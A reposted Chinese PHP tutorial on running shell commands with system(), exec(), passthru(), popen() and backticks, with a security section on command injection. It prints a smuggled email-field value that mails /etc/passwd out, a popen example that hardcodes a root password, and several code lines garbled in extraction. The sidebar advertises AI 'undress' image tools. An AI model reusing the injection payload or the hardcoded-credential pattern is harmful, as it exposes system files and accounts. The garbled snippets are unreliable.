Table of Contents
【转】PHP 执行系统外部命令 system() exec() passthru(),execpassthru
Home php教程 php手册 【转】PHP 执行系统外部命令 system() exec() passthru(),execpassthru

【转】PHP 执行系统外部命令 system() exec() passthru(),execpassthru

Jun 13, 2016 am 08:47 AM
php

【转】PHP 执行系统外部命令 system() exec() passthru(),execpassthru

本人注:使用必须注意安全性问题,在后面我会列举一些相关的php代码审计。以下为转载内容。

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

区别: 
system() 输出并返回最后一行shell结果。 
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 
相同点:都可以获得命令执行的状态码 
demo:

<span>//</span><span>system('dir'); 
</span><span>//</span><span> exec ('dir'); 
</span><span>//</span><span> passthru ('dir'); 
</span><span>//</span><span> echo `dir`; </span>
Copy after login

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。
那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。
是否可以?
答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。
前提条件
由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
执行外部命令
在打开文件时有些限制
连接MySQL数据库
基于HTTP的认证
在 安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是 /usr/local/php/bin。
如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
如何做?
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:

<?<span>php 
system(</span><span>"</span><span>/usr/local/bin/webalizer/webalizer</span><span>"</span><span>); 
</span>?> 
Copy after login

exec()
原型:string exec (string command [, string array [, int return_var]])
exec ()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array 可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:

<?<span>php 
exec(</span><span>"</span><span>/bin/ls -l</span><span>"</span><span>); 
exec(</span><span>"</span><span>/bin/ls -l</span><span>"</span><span>, $res); 
exec(</span><span>"</span><span>/bin/ls -l</span><span>"</span><span>, $res, $rc); 
</span>?> 
Copy after login

passthru()
原型:void passthru (string command [, int return_var])
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus (Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:

<?<span>php 
header(</span><span>"</span><span>Content-type: image/gif</span><span>"</span><span>); 
passthru(</span><span>"</span><span>./ppmtogif hunte.ppm</span><span>"</span><span>); 
</span>?> 
Copy after login

2) 用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一 的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:

<?<span>php 
$fp</span>=popen(<span>"</span><span>/bin/ls -l</span><span>"</span>, <span>"</span><span>r</span><span>"</span><span>); 
</span>?> 
Copy after login

例子2:

<?<span>php 
</span><span>/*</span><span> PHP中如何增加一个系统用户 
下面是一段例程,增加一个名字为james的用户, 
root密码是 verygood。仅供参考 
</span><span>*/</span><span> 
$sucommand </span>= <span>"</span><span>su --login root --command</span><span>"</span><span>; 
$useradd </span>= <span>"</span><span>useradd </span><span>"</span><span>; 
$rootpasswd </span>= <span>"</span><span>verygood</span><span>"</span><span>; 
$user </span>= <span>"</span><span>james</span><span>"</span><span>; 
$user_add </span>= sprintf(<span>"</span><span>%s </span><span>"</span>%s %s<span>""</span><span>,$sucommand,$useradd,$user); 
$fp </span>= @popen($user_add,<span>"</span><span>w</span><span>"</span><span>); 
@fputs($fp,$rootpasswd); 
@pclose($fp); 
</span>?> 
Copy after login

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

<?<span>php 
$res</span>=<span>'</span><span>/bin/ls -l</span><span>'</span><span>; 
echo </span><span>'</span> <span>
'</span><span>.$res.</span><span>'</span> 
<span>'</span><span>; </span>
?> 
Copy after login

这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php


要考虑些什么?
要考虑两个问题:安全性和超时。
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地 址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样:

<?<span>php 
system(</span><span>"</span><span>mail $to < products.txt</span><span>"</span><span>); 
echo </span><span>"</span><span>我们的产品目录已经发送到你的信箱:$to</span><span>"</span><span>; 
</span>?> 
Copy after login

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸 好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。


再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如:

<?<span>php 
system(</span><span>"</span><span>/usr/local/bin/order_proc > /tmp/null &</span><span>"</span><span>); 
</span>?> 
Copy after login

 

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Roblox: Bubble Gum Simulator Infinity - How To Get And Use Royal Keys
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Nordhold: Fusion System, Explained
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌
Mandragora: Whispers Of The Witch Tree - How To Unlock The Grappling Hook
3 weeks ago By 尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Java Tutorial
1666
14
PHP Tutorial
1273
29
C# Tutorial
1254
24
PHP and Python: Comparing Two Popular Programming Languages PHP and Python: Comparing Two Popular Programming Languages Apr 14, 2025 am 12:13 AM

PHP and Python each have their own advantages, and choose according to project requirements. 1.PHP is suitable for web development, especially for rapid development and maintenance of websites. 2. Python is suitable for data science, machine learning and artificial intelligence, with concise syntax and suitable for beginners.

PHP: A Key Language for Web Development PHP: A Key Language for Web Development Apr 13, 2025 am 12:08 AM

PHP is a scripting language widely used on the server side, especially suitable for web development. 1.PHP can embed HTML, process HTTP requests and responses, and supports a variety of databases. 2.PHP is used to generate dynamic web content, process form data, access databases, etc., with strong community support and open source resources. 3. PHP is an interpreted language, and the execution process includes lexical analysis, grammatical analysis, compilation and execution. 4.PHP can be combined with MySQL for advanced applications such as user registration systems. 5. When debugging PHP, you can use functions such as error_reporting() and var_dump(). 6. Optimize PHP code to use caching mechanisms, optimize database queries and use built-in functions. 7

PHP in Action: Real-World Examples and Applications PHP in Action: Real-World Examples and Applications Apr 14, 2025 am 12:19 AM

PHP is widely used in e-commerce, content management systems and API development. 1) E-commerce: used for shopping cart function and payment processing. 2) Content management system: used for dynamic content generation and user management. 3) API development: used for RESTful API development and API security. Through performance optimization and best practices, the efficiency and maintainability of PHP applications are improved.

PHP vs. Python: Understanding the Differences PHP vs. Python: Understanding the Differences Apr 11, 2025 am 12:15 AM

PHP and Python each have their own advantages, and the choice should be based on project requirements. 1.PHP is suitable for web development, with simple syntax and high execution efficiency. 2. Python is suitable for data science and machine learning, with concise syntax and rich libraries.

The Enduring Relevance of PHP: Is It Still Alive? The Enduring Relevance of PHP: Is It Still Alive? Apr 14, 2025 am 12:12 AM

PHP is still dynamic and still occupies an important position in the field of modern programming. 1) PHP's simplicity and powerful community support make it widely used in web development; 2) Its flexibility and stability make it outstanding in handling web forms, database operations and file processing; 3) PHP is constantly evolving and optimizing, suitable for beginners and experienced developers.

PHP vs. Other Languages: A Comparison PHP vs. Other Languages: A Comparison Apr 13, 2025 am 12:19 AM

PHP is suitable for web development, especially in rapid development and processing dynamic content, but is not good at data science and enterprise-level applications. Compared with Python, PHP has more advantages in web development, but is not as good as Python in the field of data science; compared with Java, PHP performs worse in enterprise-level applications, but is more flexible in web development; compared with JavaScript, PHP is more concise in back-end development, but is not as good as JavaScript in front-end development.

PHP and Python: Different Paradigms Explained PHP and Python: Different Paradigms Explained Apr 18, 2025 am 12:26 AM

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP and Python: Code Examples and Comparison PHP and Python: Code Examples and Comparison Apr 15, 2025 am 12:07 AM

PHP and Python have their own advantages and disadvantages, and the choice depends on project needs and personal preferences. 1.PHP is suitable for rapid development and maintenance of large-scale web applications. 2. Python dominates the field of data science and machine learning.

See all articles